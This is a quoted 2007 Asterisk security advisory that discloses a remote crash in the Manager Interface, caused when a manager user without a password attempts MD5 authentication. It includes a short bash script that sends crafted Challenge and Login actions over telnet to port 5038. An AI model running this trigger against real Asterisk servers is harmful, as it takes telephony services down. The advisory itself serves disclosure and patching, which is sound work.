> Asterisk Project Security Advisory - ASA-2007-012 > > +----------------------------------------------------------------------- -+ > | Product | Asterisk | > |---------------------+------------------------------------------------- -| > | Summary | Remote Crash Vulnerability in Manager Interface | > |---------------------+------------------------------------------------- -| > | Nature of Advisory | Denial of Service | > |---------------------+------------------------------------------------- -| > | Susceptibility | Remote Unauthenticated Sessions | > |---------------------+------------------------------------------------- -| > | Severity | Moderate | > |---------------------+------------------------------------------------- -| > | Exploits Known | Yes | > |---------------------+------------------------------------------------- -| > | Reported On | April 24, 2007 | > |---------------------+------------------------------------------------- -| > | Reported By | Digium Technical Support | > |---------------------+------------------------------------------------- -| > | Posted On | April 24, 2007 | > |---------------------+------------------------------------------------- -| > | Last Updated On | April 24, 2007 | > |---------------------+------------------------------------------------- -| > | Advisory Contact | russell (at) digium (dot) com [email concealed] | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Description | The Asterisk Manager Interface has a remote crash | > | | vulnerability. If a manager user is configured in | > | | manager.conf without a password, and then a connection | > | | is made that attempts to use that username and MD5 | > | | authentication, Asterisk will dereference a NULL pointer | > | | and crash. | > | | | > | | This example script shows how the crash can be | > | | triggered: | > | | | > | | #!/bin/bash | > | | | > | | function text1() { | > | | | > | | cat <<- EOF | > | | | > | | action: Challenge | > | | | > | | actionid: 0# | > | | | > | | authtype: MD5 | > | | | > | | EOF | > | | | > | | } | > | | | > | | function text2() { | > | | | > | | cat <<- EOF | > | | | > | | action: Login | > | | | > | | actionid: 1# | > | | | > | | key: textstringhere | > | | | > | | username: testuser | > | | | > | | authtype: MD5 | > | | | > | | EOF | > | | | > | | } | > | | | > | | (sleep 1; text1; sleep 1; text2 ) | telnet 127.0.0.1 | > | | 5038 | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Resolution | The manager interface is not enabled by default. If it is | > | | enabled, the only way this crash can be exploited is if a | > | | user exists in manager.conf without a password. Given the | > | | conditions necessary for this problem to be exploited, | > | | the severity of this issue is marked as 'moderate'. | > | | | > | | All users of the Asterisk manager interface in affected | > | | versions should ensure that there are no accounts in | > | | manager.conf. Alternatively, the issue can be avoided by | > | | completely disabling the manager interface. | > | | | > | | Users of the manager interface are encouraged to update | > | | to the appropriate version of their Asterisk product | > | | listed in the 'Corrected In' section below. | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Affected Versions | > |----------------------------------------------------------------------- -| > | Product | Release | | > | | Series | | > |------------------------------+-------------+-------------------------- -| > | Asterisk Open Source | 1.0.x | All versions | > |------------------------------+-------------+-------------------------- -| > | Asterisk Open Source | 1.2.x | All versions prior to | > | | | 1.2.18 | > |------------------------------+-------------+-------------------------- -| > | Asterisk Open Source | 1.4.x | All versions prior to | > | | | 1.4.3 | > |------------------------------+-------------+-------------------------- -| > | Asterisk Business Edition | A.x.x | All versions | > |------------------------------+-------------+-------------------------- -| > | Asterisk Business Edition | B.x.x | All versions up to and | > | | | including B.1.3 | > |------------------------------+-------------+-------------------------- -| > | AsteriskNOW | pre-release | All version up to and | > | | | including Beta5 | > |------------------------------+-------------+-------------------------- -| > | Asterisk Appliance Developer | 0.x.x | All versions prior to | > | Kit | | 0.4.0 | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Corrected In | > |----------------------------------------------------------------------- -| > | Product | Release | > |-------------------+--------------------------------------------------- -| > | Asterisk Open | 1.2.18 and 1.4.3, available from | > | Source | ftp://ftp.digium.com/pub/telephony/asterisk | > |-------------------+--------------------------------------------------- -| > | Asterisk Business | B.1.3.3, available from the Asterisk Business | > | Edition | Edition user portal on http://www.digium.com or | > | | via Digium Technical Support | > |-------------------+--------------------------------------------------- -| > | AsteriskNOW | Beta6, when available from | > | | http://www.asterisknow.org/. Beta5 can use the | > | | system update feature in the appliance control | > | | panel. | > |-------------------+--------------------------------------------------- -| > | Asterisk | 0.4.0, available from | > | Appliance | ftp://ftp.digium.com/pub/telephony/aadk/ | > | Developer Kit | | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Links | | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Asterisk Project Security Advisories are posted at | > | http://www.asterisk.org/security. | > | | > | This document may be superseded by later versions; if so, the latest | > | version will be posted at | > | http://www.asterisk.org/files/ASA-2007-012.pdf. | > +----------------------------------------------------------------------- -+ > > Asterisk Project Security Advisory - ASA-2007-012 > Copyright (c) 2007 Digium, Inc. All Rights Reserved. > Permission is hereby granted to distribute and publish this advisory in its > original, unaltered form.